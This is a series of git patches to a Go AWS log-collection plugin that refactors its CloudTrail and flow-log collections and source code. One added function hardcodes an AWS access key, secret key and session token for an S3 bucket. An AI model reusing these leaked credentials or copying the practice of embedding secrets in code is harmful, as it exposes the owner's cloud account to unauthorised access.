v1.7.2/go.mod h1:R6va5+xMeoiuVRoj+gSkQ7d3FALtqAAGI1FQKckRals= github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg= github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= +github.com/tklauser/go-sysconf v0.3.9 h1:JeUVdAOWhhxVcU6Eqr/ATFHgXk/mmiItdKeJPev3vTo= +github.com/tklauser/go-sysconf v0.3.9/go.mod h1:11DU/5sG7UexIrp/O6g35hrWzu0JxlwQ3LSFUzyeuhs= +github.com/tklauser/numcpus v0.3.0 h1:ILuRUQBtssgnxw0XXIjKUC56fgnOrFoQQ/4+DeU2biQ= +github.com/tklauser/numcpus v0.3.0/go.mod h1:yFGUr7TUHQRAhyqBcEg0Ge34zDBAsIvJJcyE6boqnA8= github.com/tkrajina/go-reflector v0.5.6 h1:hKQ0gyocG7vgMD2M3dRlYN6WBBOmdoOzJ6njQSepKdE= github.com/tkrajina/go-reflector v0.5.6/go.mod h1:ECbqLgccecY5kPmPmXg1MrHW585yMcDkVl6IvJe64T4= github.com/turbot/go-kit v0.10.0-rc.0 h1:kd+jp2ibbIV33Hc8SsMAN410Dl9Pz6SJ40axbKUlSoA= github.com/turbot/go-kit v0.10.0-rc.0/go.mod h1:fFQqR59I5z5JeeBLfK1PjSifn4Oprs3NiQx0CxeSJxs= -github.com/turbot/pipe-fittings v1.4.1 h1:RYyRwgUVUUriXPASyr0sm7TENKGTSgRA+9kvHFn12uE= -github.com/turbot/pipe-fittings v1.4.1/go.mod h1:n/ZDk1jo/0A0Z7XgGm76ySBhWUX/v7xcrC7wF8KMos8= github.com/turbot/steampipe-plugin-code v0.7.0 h1:SROYIo/TI/Q/YNfXK+sAIS71umypUFm1Uz851TmoJkM= github.com/turbot/steampipe-plugin-code v0.7.0/go.mod h1:GvdjncWum4sZNmR0iM03SKkIzl7aZKAFtIsyAR+z4YI= github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= +github.com/yusufpapurcu/wmi v1.2.2 h1:KBNDSne4vP5mbSWnJbO+51IMOXJB67QiYCSBrubbPRg= +github.com/yusufpapurcu/wmi v1.2.2/go.mod h1:SBZ9tNy3G9/m5Oi98Zks0QjeHVDvuK0qfxQmPyzfmi0= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/exp v0.0.0-20231006140011-7918f672742d h1:jtJma62tbqLibJ5sFQz8bKtEM8rJBtfilJ2qTU199MI= @@ -85,11 +112,13 @@ golang.org/x/net v0.23.0/go.mod h1:JKghWKKOSdJwpW2GEx0Ja7fmaKnMsbu+MWVZTokSYmg= golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210816074244-15123e1e1f71/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210927094055-39ccf1dd6fa6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220503163025-988cb79eb6c6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= From ef8151d44a661bc7ad19ed8b46c5e14153580cce Mon Sep 17 00:00:00 2001 From: kai Date: Wed, 10 Jul 2024 14:24:14 +0100 Subject: [PATCH 011/180] tidy upelection of collections to minimise hard coding --- aws/plugin.go | 63 +++++++++++-------- aws_collection/cloudtrail_log_collection.go | 18 +++--- .../cloudtrail_log_collection_config.go | 4 +- aws_collection/flow_log_collection_config.go | 1 - aws_collection/flowlog_log_collection.go | 2 +- 5 files changed, 50 insertions(+), 38 deletions(-) diff --git a/aws/plugin.go b/aws/plugin.go index 55004c96..3ccfde38 100644 --- a/aws/plugin.go +++ b/aws/plugin.go @@ -6,6 +6,7 @@ import ( "github.com/turbot/tailpipe-plugin-sdk/grpc/proto" "github.com/turbot/tailpipe-plugin-sdk/plugin" "log" + "time" ) type Plugin struct { @@ -15,7 +16,7 @@ type Plugin struct { func NewPlugin() (plugin.TailpipePlugin, error) { p := &Plugin{} - //time.Sleep(10 * time.Second) + time.Sleep(10 * time.Second) // register collections which we support p.RegisterCollections(aws_collection.NewCloudTrailLogCollection, aws_collection.NewFlowlogLogCollection) @@ -36,36 +37,46 @@ func (t *Plugin) Collect(req *proto.CollectRequest) error { } func (t *Plugin) doCollect(ctx context.Context, req *proto.CollectRequest) { + var col plugin.Collection + var config any + + // TODO most of this can be done from base // todo config parsing, identify collection type etc. // TODO parse config and use to build collection - // tactical - create collection - - //collectionConfig := aws_collection.FlowLogCollectionConfig{ - // Fields: []string{ "timestamp", - // "version", - // "account-id", - // "interface-id", - // "srcaddr", - // "dstaddr", - // "srcport", - // "dstport", - // "protocol", - // "packets", - // "bytes", - // "start", - // "end", - // "action", - // "log-status", - // }, - //} - //var col = aws_collection.NewFlowlogLogCollection() - - collectionConfig := aws_collection.CloudTrailLogCollectionConfig{} - var col = aws_collection.NewCloudTrailLogCollection() + + switch req.CollectionName { + case "aws_cloudtrail_log": + col = aws_collection.NewCloudTrailLogCollection() + config = aws_collection.CloudTrailLogCollectionConfig{ + Paths: req.Paths, + } + case "aws_flow_log": + col = aws_collection.NewFlowlogLogCollection() + + config = aws_collection.FlowLogCollectionConfig{ + Paths: req.Paths, + Fields: []string{"timestamp", + "version", + "account-id", + "interface-id", + "srcaddr", + "dstaddr", + "srcport", + "dstport", + "protocol", + "packets", + "bytes", + "start", + "end", + "action", + "log-status", + }, + } + } // TEMP call init - col.Init(collectionConfig) + col.Init(config) // add ourselves as an observer col.AddObserver(t) diff --git a/aws_collection/cloudtrail_log_collection.go b/aws_collection/cloudtrail_log_collection.go index b6060cc4..1b68cef4 100644 --- a/aws_collection/cloudtrail_log_collection.go +++ b/aws_collection/cloudtrail_log_collection.go @@ -2,6 +2,9 @@ package aws_collection import ( "fmt" + "strings" + "time" + "github.com/rs/xid" "github.com/turbot/tailpipe-plugin-aws/aws_source" "github.com/turbot/tailpipe-plugin-aws/aws_types" @@ -10,11 +13,6 @@ import ( "github.com/turbot/tailpipe-plugin-sdk/enrichment" "github.com/turbot/tailpipe-plugin-sdk/helpers" "github.com/turbot/tailpipe-plugin-sdk/plugin" - "strings" - "time" - //"github.com/turbot/tailpipe-plugin-sdk/collection" - //sdkconfig "github.com/turbot/tailpipe-plugin-sdk/config" - //"github.com/turbot/tailpipe-plugin-sdk/source" ) type CloudTrailLogCollection struct { @@ -27,12 +25,12 @@ type CloudTrailLogCollection struct { } func NewCloudTrailLogCollection() plugin.Collection { - l := &CloudTrailLogCollection{} + c := &CloudTrailLogCollection{} // TODO avoid need for plugin implementation to do this // Init sets us as the Enricher property on Base - l.Base.Init(l) + c.Base.Init(c) - return l + return c } // GetRowStruct implements Collection @@ -47,10 +45,12 @@ func (c *CloudTrailLogCollection) Init(config any) error { // todo - parse config c.Config = config.(CloudTrailLogCollectionConfig) + // todo validate config // todo create source from config - sourceConfig := aws_source.CompressedFileSourceConfig{Paths: []string{"/Users/kai/tailpipe_data/flaws_cloudtrail_logs"}} + sourceConfig := aws_source.CompressedFileSourceConfig{Paths: c.Config.Paths} var source = aws_source.NewCloudtrailCompressedFileSource(sourceConfig) + // todo do this from base??? c.AddSource(source) diff --git a/aws_collection/cloudtrail_log_collection_config.go b/aws_collection/cloudtrail_log_collection_config.go index 6045d9e4..201d5421 100644 --- a/aws_collection/cloudtrail_log_collection_config.go +++ b/aws_collection/cloudtrail_log_collection_config.go @@ -1,3 +1,5 @@ package aws_collection -type CloudTrailLogCollectionConfig struct{} +type CloudTrailLogCollectionConfig struct { + Paths []string +} diff --git a/aws_collection/flow_log_collection_config.go b/aws_collection/flow_log_collection_config.go index ce1bad00..18894ec7 100644 --- a/aws_collection/flow_log_collection_config.go +++ b/aws_collection/flow_log_collection_config.go @@ -21,7 +21,6 @@ type FlowLogCollectionConfig struct { // the path to the flow log files Paths []string `hcl:"paths"` - // TODO will we need to infer these??? // the fields to extract from the flow log Fields []string `hcl "fields"` } diff --git a/aws_collection/flowlog_log_collection.go b/aws_collection/flowlog_log_collection.go index eaff7d36..3f904044 100644 --- a/aws_collection/flowlog_log_collection.go +++ b/aws_collection/flowlog_log_collection.go @@ -52,7 +52,7 @@ func (c *FlowlogLogCollection) Init(config any) error { } // todo create source from config - sourceConfig := aws_source.CompressedFileSourceConfig{Paths: []string{"/Users/kai/tailpipe_data/flowlog"}} + sourceConfig := aws_source.CompressedFileSourceConfig{Paths: c.Config.Paths} var source = aws_source.NewFlowlogCompressedFileSource(sourceConfig) // todo do this from base??? c.AddSource(source) From 7b83431f6b706f917f04c3fe863c409109115ce2 Mon Sep 17 00:00:00 2001 From: kai Date: Fri, 12 Jul 2024 10:28:46 +0100 Subject: [PATCH 012/180] define composable artifact source --- aws/plugin.go | 9 +- aws_collection/cloudtrail_log_collection.go | 34 +++- aws_collection/flowlog_log_collection.go | 75 +++++++-- .../cloudtrail_compressed_file_source.go | 94 ----------- aws_source/cloudtrail_extractor_sink.go | 53 ++++++ aws_source/compressed_file_source_config.go | 5 - aws_source/flowlog_compressed_file_source.go | 105 ------------ aws_source/s3_bucket_source.go | 151 ------------------ aws_source/s3_bucket_source_test.go | 12 -- go.mod | 18 +++ go.sum | 36 +++++ 11 files changed, 205 insertions(+), 387 deletions(-) delete mode 100644 aws_source/cloudtrail_compressed_file_source.go create mode 100644 aws_source/cloudtrail_extractor_sink.go delete mode 100644 aws_source/compressed_file_source_config.go delete mode 100644 aws_source/flowlog_compressed_file_source.go delete mode 100644 aws_source/s3_bucket_source.go delete mode 100644 aws_source/s3_bucket_source_test.go diff --git a/aws/plugin.go b/aws/plugin.go index 3ccfde38..575c9c77 100644 --- a/aws/plugin.go +++ b/aws/plugin.go @@ -6,6 +6,7 @@ import ( "github.com/turbot/tailpipe-plugin-sdk/grpc/proto" "github.com/turbot/tailpipe-plugin-sdk/plugin" "log" + "log/slog" "time" ) @@ -16,7 +17,9 @@ type Plugin struct { func NewPlugin() (plugin.TailpipePlugin, error) { p := &Plugin{} + slog.Info("AWS Plugin starting") time.Sleep(10 * time.Second) + slog.Info("YAWN") // register collections which we support p.RegisterCollections(aws_collection.NewCloudTrailLogCollection, aws_collection.NewFlowlogLogCollection) @@ -48,13 +51,13 @@ func (t *Plugin) doCollect(ctx context.Context, req *proto.CollectRequest) { switch req.CollectionName { case "aws_cloudtrail_log": col = aws_collection.NewCloudTrailLogCollection() - config = aws_collection.CloudTrailLogCollectionConfig{ + config = &aws_collection.CloudTrailLogCollectionConfig{ Paths: req.Paths, } case "aws_flow_log": col = aws_collection.NewFlowlogLogCollection() - config = aws_collection.FlowLogCollectionConfig{ + config = &aws_collection.FlowLogCollectionConfig{ Paths: req.Paths, Fields: []string{"timestamp", "version", @@ -87,6 +90,6 @@ func (t *Plugin) doCollect(ctx context.Context, req *proto.CollectRequest) { // tell the collection to start collecting - this is a blocking call err := col.Collect(ctx, req) - // signal we have completed + // signal we have completed - pass error if there was one t.OnComplete(req, err) } diff --git a/aws_collection/cloudtrail_log_collection.go b/aws_collection/cloudtrail_log_collection.go index 1b68cef4..ee6f4319 100644 --- a/aws_collection/cloudtrail_log_collection.go +++ b/aws_collection/cloudtrail_log_collection.go @@ -2,6 +2,8 @@ package aws_collection import ( "fmt" + "github.com/turbot/tailpipe-plugin-sdk/artifact" + "github.com/turbot/tailpipe-plugin-sdk/row_source" "strings" "time" @@ -21,7 +23,7 @@ type CloudTrailLogCollection struct { collection.Base // the collection config - Config CloudTrailLogCollectionConfig + Config *CloudTrailLogCollectionConfig } func NewCloudTrailLogCollection() plugin.Collection { @@ -44,19 +46,39 @@ func (c *CloudTrailLogCollection) Init(config any) error { // TEMP - this will actually parse (or the base will) // todo - parse config - c.Config = config.(CloudTrailLogCollectionConfig) + c.Config = config.(*CloudTrailLogCollectionConfig) // todo validate config // todo create source from config - sourceConfig := aws_source.CompressedFileSourceConfig{Paths: c.Config.Paths} - var source = aws_source.NewCloudtrailCompressedFileSource(sourceConfig) - - // todo do this from base??? + source, err := c.getSource(c.Config) + if err != nil { + return err + } c.AddSource(source) return nil } +func (c *CloudTrailLogCollection) getSource(config *CloudTrailLogCollectionConfig) (plugin.RowSource, error) { + sourceConfig := &artifact.FileSystemSourceConfig{Paths: config.Paths, Extensions: []string{".gz"}} + artifactSource := artifact.NewFileSystemSource(sourceConfig) + artifactExtractors := []artifact.Extractor{ + // gzip extractor with ExtractObject strategy + artifact.NewGzipExtractorSource(artifactSource, artifact.ExtractObject), + aws_source.NewCloudtrailExtractorSink(), + } + + var source, err = row_source.NewArtifactRowSource( + artifactSource, + artifactExtractors...) + + if err != nil { + return nil, fmt.Errorf("error creating artifact row source: %w", err) + } + + return source, nil +} + // Identifier implements Collection func (c *CloudTrailLogCollection) Identifier() string { return "aws_cloudtrail_log" diff --git a/aws_collection/flowlog_log_collection.go b/aws_collection/flowlog_log_collection.go index 3f904044..92846801 100644 --- a/aws_collection/flowlog_log_collection.go +++ b/aws_collection/flowlog_log_collection.go @@ -3,12 +3,13 @@ package aws_collection import ( "fmt" "github.com/rs/xid" - "github.com/turbot/tailpipe-plugin-aws/aws_source" "github.com/turbot/tailpipe-plugin-aws/aws_types" + "github.com/turbot/tailpipe-plugin-sdk/artifact" "github.com/turbot/tailpipe-plugin-sdk/collection" "github.com/turbot/tailpipe-plugin-sdk/enrichment" "github.com/turbot/tailpipe-plugin-sdk/helpers" "github.com/turbot/tailpipe-plugin-sdk/plugin" + "github.com/turbot/tailpipe-plugin-sdk/row_source" "time" //"github.com/turbot/tailpipe-plugin-sdk/collection" //sdkconfig "github.com/turbot/tailpipe-plugin-sdk/config" @@ -21,7 +22,7 @@ type FlowlogLogCollection struct { collection.Base // the collection config - Config FlowLogCollectionConfig + Config *FlowLogCollectionConfig } func NewFlowlogLogCollection() plugin.Collection { @@ -44,22 +45,74 @@ func (c *FlowlogLogCollection) Init(config any) error { // TEMP - this will actually parse (or the base will) // todo - parse config - c.Config = config.(FlowLogCollectionConfig) - - // init the config - this defaults the field list - if c.Config.Fields == nil { - c.Config.Fields = DefaultFlowLogFields - } + c.Config = config.(*FlowLogCollectionConfig) + // todo validate config // todo create source from config - sourceConfig := aws_source.CompressedFileSourceConfig{Paths: c.Config.Paths} - var source = aws_source.NewFlowlogCompressedFileSource(sourceConfig) - // todo do this from base??? + source, err := c.getSource(c.Config) + if err != nil { + return err + } c.AddSource(source) return nil } +// +//// TEMP - this will actually parse (or the base will) +// +//// todo - parse config +//c.Config = config.(FlowLogCollectionConfig) +// +//// init the config - this defaults the field list +//if c.Config.Fields == nil { +// c.Config.Fields = DefaultFlowLogFields +//} +// +//// todo create source from config +//sourceConfig := aws_source.CompressedFileSourceConfig{Paths: c.Config.Paths} +//var source = aws_source.NewFlowlogCompressedFileSource(sourceConfig) +//// todo do this from base??? +//c.AddSource(source) +// +//return nil +//} + +func (c *FlowlogLogCollection) getSource(config *FlowLogCollectionConfig) (plugin.RowSource, error) { + //sourceConfig := &artifact.FileSystemSourceConfig{Paths: config.Paths,Extensions: []string{".gz"}} + //artifactSource := artifact.NewFileSystemSource(sourceConfig) + // + + sourceConfig := &artifact.AwsS3BucketSourceConfig{ + Bucket: "silverwater-flowlog-s3-bucket", + Extensions: []string{".gz"}, + AccessKey: "ASIARNKUQPUTSWALT7IS", + SecretKey: "7rXEgyZPlfkWTbT1sRdDc5BYmaMSm8qgi5qJHWXN", + SessionToken: "IQoJb3JpZ2luX2VjEJf//////////wEaCXVzLWVhc3QtMiJIMEYCIQDqRA+V28K3t0YzcJzHaqHdIAP+JELGxb9PkoWWxAg6nwIhAPS6DnfSrfKHsqIuxoiKI3r6E41YXj+x5ZdLMVEHTw3iKoYDCGAQAxoMMDk3MzUwODc2NDU1IgzoOk1UsaFJN2M12LAq4wIxqdMvGJVUiKihwxoBSF07d0HGfm3fiDlFukeBvE16D8eoaSzFFbEuUFqeSe0qH49qcdGKqG+QzqCUpnfanRRMpSQUr9D82dp1Xy0XEN6LQXV8oNz4XUBfjZCy2Uwti7fabkzxox8AO6jejDJ16lK9Mn/g5M3nt+kxgb4lcde65oUyVu1mho8HVskByf4Zxb7koEcniw3JWo5ngzPFuy5iWlRU95g2cxQyqueehnk2s4AoPHNsPn8fPjZmCK3dkhy0Z2cMgQDQT3O7X0G+mYmcpl4dtT9DaIn9Zw81imFU3hzDL0PfqrHOFzfKrFTePVVVcK3kSOKyYBLPmx9c6Lc5IlCRMZQZ5F4JVz5MQryMstbyoz8xMLN8iWv8U49LrGSmp1KgZgNy3LNyRAKo0D4CDRe/6TBzDjk/+xGTioHXC5POjtwdAk9Ylx306I7rxDlP8TLMlx+9OFPYdAp+Jz7xel9ZMLrvv7QGOqUBiEktNKF4MdyONoymioyqbyc2ESmyApWcxRrL3XIKUyyZHJ2VAd5R4YSRZlTUSUHP0CEKdI62qNtg4ZOC4Eo6HsZWXqnYCSkMC0NAPwi2MvkbIjsZRpeOkx+o+UQP59M6QOUQJhPO+gih2vxN7XN8iTMT88ozjtiViHn8uPo0Emepiv8sGZd6V+RMaR4d8IoMvhvfVsLYSgemeF3f71SY/UK65bTJ", + } + + artifactSource, err := artifact.NewAwsS3BucketSource(sourceConfig) + if err != nil { + return nil, fmt.Errorf("error creating s3 bucket source: %w", err) + } + + artifactExtractors := []artifact.Extractor{ + // gzip extractor with ExtractRows strategy + artifact.NewGzipExtractorSource(artifactSource, artifact.ExtractRows), + artifact.NewTransparentExtractorSink(), + } + + source, err := row_source.NewArtifactRowSource( + artifactSource, + artifactExtractors...) + + if err != nil { + return nil, fmt.Errorf("error creating artifact row source: %w", err) + } + + return source, nil +} + // Identifier implements Collection func (c *FlowlogLogCollection) Identifier() string { return "aws_flow_log" diff --git a/aws_source/cloudtrail_compressed_file_source.go b/aws_source/cloudtrail_compressed_file_source.go deleted file mode 100644 index 4c534e96..00000000 --- a/aws_source/cloudtrail_compressed_file_source.go +++ /dev/null @@ -1,94 +0,0 @@ -package aws_source - -import ( - "compress/gzip" - "context" - "encoding/json" - "github.com/turbot/tailpipe-plugin-aws/aws_types" - "github.com/turbot/tailpipe-plugin-sdk/enrichment" - "github.com/turbot/tailpipe-plugin-sdk/grpc/proto" - "github.com/turbot/tailpipe-plugin-sdk/plugin" - "github.com/turbot/tailpipe-plugin-sdk/source" - "log/slog" - "os" - "path/filepath" -) - -// CloudtrailCompressedFileSource source is responsible for collecting audit logs from Turbot Pipes API -type CloudtrailCompressedFileSource struct { - source.Base - Config CompressedFileSourceConfig -} - -func (c *CloudtrailCompressedFileSource) Identifier() string { - return "aws_compressed_file_source" -} - -func NewCloudtrailCompressedFileSource(config CompressedFileSourceConfig) plugin.Source { - return &CloudtrailCompressedFileSource{ - Config: config, - } -} - -func (c *CloudtrailCompressedFileSource) Collect(ctx context.Context, req *proto.CollectRequest) error { - // tactical - //List all gz files in each path directory and call ExtractArtifactRows for each - for _, path := range c.Config.Paths { - // list gz files on path - files, err := filepath.Glob(filepath.Join(path, "*.gz")) - if err != nil { - return err - } - - for _, file := range files { - select { - case <-ctx.Done(): - return ctx.Err() - default: - slog.Debug("Processing file", "file", file) - // Call ExtractArtifactRows for each gz file - if err := c.ExtractArtifactRows(ctx, req, file); err != nil { - return err - } - } - } - } - return nil -} - -func (c *CloudtrailCompressedFileSource) ExtractArtifactRows(ctx context.Context, req *proto.CollectRequest, inputPath string) error { - gzFile, err := os.Open(inputPath) - if err != nil { - return err - } - defer gzFile.Close() - - gzReader, err := gzip.NewReader(gzFile) - if err != nil { - return err - } - defer gzReader.Close() - - var log aws_types.AWSCloudTrailBatch - if err := json.NewDecoder(gzReader).Decode(&log); err != nil { - return err - } - - for _, record := range log.Records { - // check context cancellation - if ctx.Err() != nil { - return ctx.Err() - } - // populate enrichment fields the the source is aware of - // - in this case the source location - sourceEnrichmentFields := &enrichment.CommonFields{ - TpSourceLocation: &inputPath, - } - - // call base OnRow - c.OnRow(req, record, sourceEnrichmentFields) - } - - return nil - -} diff --git a/aws_source/cloudtrail_extractor_sink.go b/aws_source/cloudtrail_extractor_sink.go new file mode 100644 index 00000000..7fac8091 --- /dev/null +++ b/aws_source/cloudtrail_extractor_sink.go @@ -0,0 +1,53 @@ +package aws_source + +import ( + "context" + "fmt" + "github.com/turbot/tailpipe-plugin-aws/aws_types" + "github.com/turbot/tailpipe-plugin-sdk/artifact" + "github.com/turbot/tailpipe-plugin-sdk/events" + "github.com/turbot/tailpipe-plugin-sdk/grpc/proto" + "github.com/turbot/tailpipe-plugin-sdk/types" +) + +// CloudtrailExtractorSink is an ExtractorSinkBase that receives AWSCloudTrailBatch objects and extracts rows from them +type CloudtrailExtractorSink struct { + artifact.ExtractorSinkBase +} + +// NewCloudtrailExtractorSink creates a new CloudtrailExtractorSink +func NewCloudtrailExtractorSink() *CloudtrailExtractorSink { + return &CloudtrailExtractorSink{} +} + +// Notify implements observable.Observer +func (s *CloudtrailExtractorSink) Notify(event events.Event) error { + switch e := event.(type) { + case *events.ArtifactExtracted: + return s.ExtractArtifactRows(context.Background(), e.Request, e.Artifact) + default: + return fmt.Errorf("CloudtrailExtractorSink received unexpected event type: %T", e) + } +} + +func (c *CloudtrailExtractorSink) ExtractArtifactRows(ctx context.Context, req *proto.CollectRequest, a *types.Artifact) error { + log, ok := a.Data.(*aws_types.AWSCloudTrailBatch) + if !ok { + return fmt.Errorf("expected AWSCloudTrailBatch, got %T", a.Data) + } + + for _, record := range log.Records { + // check context cancellation + if ctx.Err() != nil { + return ctx.Err() + } + + // call base OnRow + err := c.OnRow(req, record, a.EnrichmentFields) + if err != nil { + return fmt.Errorf("error sending row: %w", err) + } + } + + return nil +} diff --git a/aws_source/compressed_file_source_config.go b/aws_source/compressed_file_source_config.go deleted file mode 100644 index 08e980b9..00000000 --- a/aws_source/compressed_file_source_config.go +++ /dev/null @@ -1,5 +0,0 @@ -package aws_source - -type CompressedFileSourceConfig struct { - Paths []string -} diff --git a/aws_source/flowlog_compressed_file_source.go b/aws_source/flowlog_compressed_file_source.go deleted file mode 100644 index cd2a0be2..00000000 --- a/aws_source/flowlog_compressed_file_source.go +++ /dev/null @@ -1,105 +0,0 @@ -package aws_source - -import ( - "bufio" - "compress/gzip" - "context" - "github.com/turbot/tailpipe-plugin-sdk/enrichment" - "github.com/turbot/tailpipe-plugin-sdk/grpc/proto" - "github.com/turbot/tailpipe-plugin-sdk/plugin" - "github.com/turbot/tailpipe-plugin-sdk/source" - "log/slog" - "os" - "path/filepath" -) - -// FlowlogCompressedFileSource source is responsible for collecting audit logs from Turbot Pipes API -type FlowlogCompressedFileSource struct { - source.Base - Config CompressedFileSourceConfig -} - -func (c *FlowlogCompressedFileSource) Identifier() string { - return "aws_compressed_file_source" -} - -func NewFlowlogCompressedFileSource(config CompressedFileSourceConfig) plugin.Source { - return &FlowlogCompressedFileSource{ - Config: config, - } -} - -// TODO combine with CloudtrailCompressedFileSource -func (c *FlowlogCompressedFileSource) Collect(ctx context.Context, req *proto.CollectRequest) error { - // tactical - //List all gz files in each path directory and call ExtractArtifactRows for each - for _, path := range c.Config.Paths { - // list gz files on path - // TODO recursive or not? - files, err := findGzFiles(path) - if err != nil { - return err - } - - for _, file := range files { - select { - case <-ctx.Done(): - return ctx.Err() - default: - slog.Debug("Processing file", "file", file) - // Call ExtractArtifactRows for each gz file - if err := c.ExtractArtifactRows(ctx, req, file); err != nil { - return err - } - } - } - } - return nil -} - -// TODO tactical - sort out file source -func findGzFiles(root string) ([]string, error) { - var files []string - err := filepath.Walk(root, func(path string, info os.FileInfo, err error) error { - if err != nil { - return err - } - if !info.IsDir() && filepath.Ext(path) == ".gz" { - files = append(files, path) - } - return nil - }) - return files, err -} - -func (c *FlowlogCompressedFileSource) ExtractArtifactRows(ctx context.Context, req *proto.CollectRequest, inputPath string) error { - gzFile, err := os.Open(inputPath) - if err != nil { - return err - } - defer gzFile.Close() - - gzReader, err := gzip.NewReader(gzFile) - if err != nil { - return err - } - defer gzReader.Close() - - scanner := bufio.NewScanner(gzReader) - for scanner.Scan() { - // check context cancellation - if ctx.Err() != nil { - return ctx.Err() - } - // populate enrichment fields the the source is aware of - // - in this case the source location - sourceEnrichmentFields := &enrichment.CommonFields{ - TpSourceLocation: &inputPath, - } - - line := scanner.Text() - // call base OnRow - c.OnRow(req, line, sourceEnrichmentFields) - } - return scanner.Err() -} diff --git a/aws_source/s3_bucket_source.go b/aws_source/s3_bucket_source.go deleted file mode 100644 index 7a1c8dfd..00000000 --- a/aws_source/s3_bucket_source.go +++ /dev/null @@ -1,151 +0,0 @@ -package aws_source - -import ( - "context" - "errors" - "fmt" - "strings" - //sdkconfig "github.com/turbot/tailpipe-plugin-sdk/config" - //"github.com/turbot/tailpipe-plugin-sdk/source" -) - -type AwsS3BucketSourceConfig struct { - Bucket string `json:"bucket"` - Extensions []string `json:"extensions"` -} - -type AwsS3BucketSource struct { - Config AwsS3BucketSourceConfig - - //ctx context.Context - //observers []source.SourceObserver - //observersMutex sync.RWMutex -} - -func (s *AwsS3BucketSource) Identifier() string { - return "aws_s3_bucket" -} - -//func (s *AwsS3BucketSource) Init(ctx context.Context) error { -// s.ctx = ctx -// return s.Validate() -//} -// -//func (s *AwsS3BucketSource) Context() context.Context { -// return s.ctx -//} -// -//func (s *AwsS3BucketSource) Validate() error { -// return nil -//} - -//func (s *AwsS3BucketSource) AddObserver(observer source.SourceObserver) { -// s.observersMutex.Lock() -// defer s.observersMutex.Unlock() -// s.observers = append(s.observers, observer) -//} -// -//func (s *AwsS3BucketSource) RemoveObserver(observer source.SourceObserver) { -// s.observersMutex.Lock() -// defer s.observersMutex.Unlock() -// for i, o := range s.observers { -// if o == observer { -// s.observers = append(s.observers[:i], s.observers[i+1:]...) -// break -// } -// } -//} -// -//func (s *AwsS3BucketSource) LoadConfig(configRaw []byte) error { -// return sdkconfig.Load(configRaw, &s.Config) -//} - -func (s *AwsS3BucketSource) ValidateConfig() error { - if s.Config.Bucket == "" { - return errors.New("bucket is required") - } - - // Check the bucket exists - // TODO - /* - _, err := os.Stat(s.Config.Path) - if err != nil { - return err - } - */ - - // Check format of extensions - invalidExtensions := []string{} - for _, e := range s.Config.Extensions { - if len(e) == 0 { - invalidExtensions = append(invalidExtensions, "") - } else if e[0] != '.' { - invalidExtensions = append(invalidExtensions, e) - } - } - if len(invalidExtensions) > 0 { - return fmt.Errorf("invalid extensions: %s", strings.Join(invalidExtensions, ",")) - } - - return nil -} - -func (s *AwsS3BucketSource) DiscoverArtifacts(ctx context.Context) error { - // TODO implement - // - //cfg, err := config.LoadDefaultConfig(ctx) - //if err != nil { - // return fmt.Errorf("unable to load SDK config, %w", err) - //} - // - //s3Client := s3.NewFromConfig(cfg) - //paginator := s3.NewListObjectsV2Paginator(s3Client, &s3.ListObjectsV2Input{ - // Bucket: &s.Config.Bucket, - //}) - // - //for paginator.HasMorePages() { - // output, err := paginator.NextPage(ctx) - // if err != nil { - // return fmt.Errorf("failed to get page, %w", err) - // } - // - // for _, object := range output.Contents { - // if util.IsValidExtension(*object.Key, s.Config.Extensions) { - // for _, observer := range s.observers { - // observer.NotifyArtifactDiscovered(&source.ArtifactInfo{Name: *object.Key}) - // } - // } - // } - //} - - return nil -} - -func (s *AwsS3BucketSource) DownloadArtifact(ctx context.Context, ai any /**source.ArtifactInfo*/) error { - //TODO implement - //cfg, err := config.LoadDefaultConfig(ctx) - //if err != nil { - // return fmt.Errorf("unable to load SDK config, %w", err) - //} - // - //s3Client := s3.NewFromConfig(cfg) - //getObjectOutput, err := s3Client.GetObject(ctx, &s3.GetObjectInput{ - // Bucket: &s.Config.Bucket, - // Key: &ai.Name, - //}) - //if err != nil { - // return fmt.Errorf("failed to download artifact, %w", err) - //} - //defer 